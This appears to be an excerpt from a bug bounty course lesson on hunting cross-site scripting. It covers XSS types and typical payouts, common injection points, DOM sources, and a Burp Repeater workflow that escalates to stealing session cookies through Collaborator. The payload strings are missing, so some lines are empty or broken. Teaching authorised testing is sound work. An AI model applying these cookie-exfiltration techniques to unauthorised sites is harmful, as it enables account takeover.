📰 Originally published on SecurityElites — the canonical, fully-updated version of this article.
← 60-DAY BUG BOUNTY COURSE
DAY 7 OF 60
XSS BUG BOUNTY HUNTING
← Day 6: Subdomain Enumeration
🔐
Authorised targets only. Test XSS on HackerOne/Bugcrowd in-scope targets, DVWA in your home lab, or TryHackMe/HackTheBox. Never test on any application without explicit written authorisation or a bug bounty programme scope covering the target. Lab: DVWA Labs Hub.
60-DAY BUG BOUNTY COURSE PROGRESS
Day 7 / 60 — 11.7%
✅ D1–D6
▶ D7: XSS Bug Bounty Hunting
D8: IDOR
D9–60: ···
<>
In Day 6 you mapped the target — dev subdomains, staging servers, forgotten APIs, priority targets sorted by EOL software. In Day 5 you built the Burp Suite workflow for systematically testing every parameter you encounter. Day 7 connects both: you are now going to use Burp Repeater against those priority subdomains to hunt XSS — the most consistently findable web vulnerability across every bug bounty programme. XSS scales from $0 (self-XSS) to $15,000+ (stored XSS on admin panels). That entire range is the same vulnerability type. The difference is impact demonstration. A beginner who finds a stored XSS and writes a report that clearly shows account takeover earns more than an experienced hunter who writes “alert box appeared.”
Day 7 covers XSS hunting from end to end — where to look, how to test each injection context in Burp Repeater (Day 5 skill applied), filter bypasses, escalating beyond alert(1), the self-XSS trap, DOM XSS in SPAs, automation with Dalfox, and the report template that maximises your payout.
📋 What You’ll Master in Day 7
Escalating Impact Beyond alert(1)
DOM XSS — Bypasses Server Filters
XSS Types & What Each Pays
Type
How It Works
Typical Payout
STORED XSS
Payload saved to DB — executes for every visitor. No link-click required. Affects all users automatically.
$500–$15K
REFLECTED XSS
Payload in URL reflected in immediate response. Requires victim to click a crafted link. Needs social engineering.
$100–$2K
DOM XSS
Client-side JS sink reads user input. Payload never reaches server — bypasses all server-side WAF filters.
$200–$3K
SELF-XSS
Only executes in attacker’s own browser. Profile field visible only to account owner. Zero impact to other users.
$0
Where to Hunt XSS — High-Value Injection Points
🔥 HIGHEST VALUE
Comment / review systems
User profile: name, bio
Admin panel input fields
Search reflecting query string
Error messages with URL
⚡ COMMONLY FOUND
URL path segments
Query params: ?q= ?name= ?msg=
HTTP headers (User-Agent)
JSON API responses in views
Redirect params: ?next= ?url=
🔎 DOM XSS SOURCES
location.hash (#fragment)
location.search (?param)
document.referrer
window.name
postMessage() handlers
💡 Day 6 + Day 7 connection: The dev and staging subdomains you mapped in Day 6 often have weaker input filtering than production. Start XSS testing on those priority subdomains first — the same sanitisation libraries that protect production may not be configured on dev environments. Open each priority target in your Burp-proxied browser (Day 5 setup) before testing.
Burp Suite Repeater XSS Workflow — Day 5 Skills Applied
From Day 5 you have Burp Suite configured with Repeater as your primary testing environment. Here is exactly how to apply those skills for XSS testing — the same workflow used in every professional web application assessment.
securityelites.com
Burp Suite Repeater — XSS Testing Workflow (Authorised Target, Day 5 Proxy Setup)
STEP 1: Browse target via Burp Proxy (from Day 5) → HTTP History → send request to Repeater
STEP 2: Inject canary string to confirm reflection
GET /search?q=xsscanary12345 HTTP/1.1
Host: dev.target.com
Results for: xsscanary12345
← reflected in HTML context ✓ # STEP 3: Test HTML context payload GET /search?q=
Results for:
img tag NOT encoded → XSS confirmed ✓
STEP 4: Escalate — demonstrate cookie theft for report
GET /search?q=
✓ Collaborator receives session cookie — account takeover demonstrated → ready to report
Burp Suite Repeater XSS workflow using the Day 5 proxy setup — four steps: (1) browse via Burp Proxy, send interesting requests to Repeater from HTTP History, (2) inject canary string to confirm reflection and identify HTML context, (3) test img onerror payload — not encoded in response confirms XSS, (4) escalate to cookie exfiltration using Burp Collaborator for the impact demonstration in the report. The cookie fetch uses btoa() to base64-encode the value before exfiltration. This four-step process is the standard professional XSS confirmation workflow.
─── XSS testing workflow in Burp Repeater ──────────────────────
1. Browse target via Burp Proxy (Day 5 setup) # 2. HTTP History → find requests with user input in response # 3. Right-click → Send to Repeater # 4. Inject canary string — confirm reflection context q=xsscanary12345 → check where it appears in the response
─── Identify the reflection context ───────────────────────────
xsscanary12345
# → HTML context var q = “xsscanary12345”; # → JS string context # → HTML attribute contextInjection Contexts — Match Your Payload to the Context
The most common reason beginners fail to confirm XSS on a genuinely vulnerable parameter is using the wrong payload for the injection context. Always confirm context with your canary string before testing payloads.
📖 Read the complete guide on SecurityElites
This article continues with deeper technical detail, screenshots, code samples, and an interactive lab walk-through. Read the full article on SecurityElites →
This article was originally written and published by the SecurityElites team. For more cybersecurity tutorials, ethical hacking guides, and CTF walk-throughs, visit SecurityElites.
Top comments (0)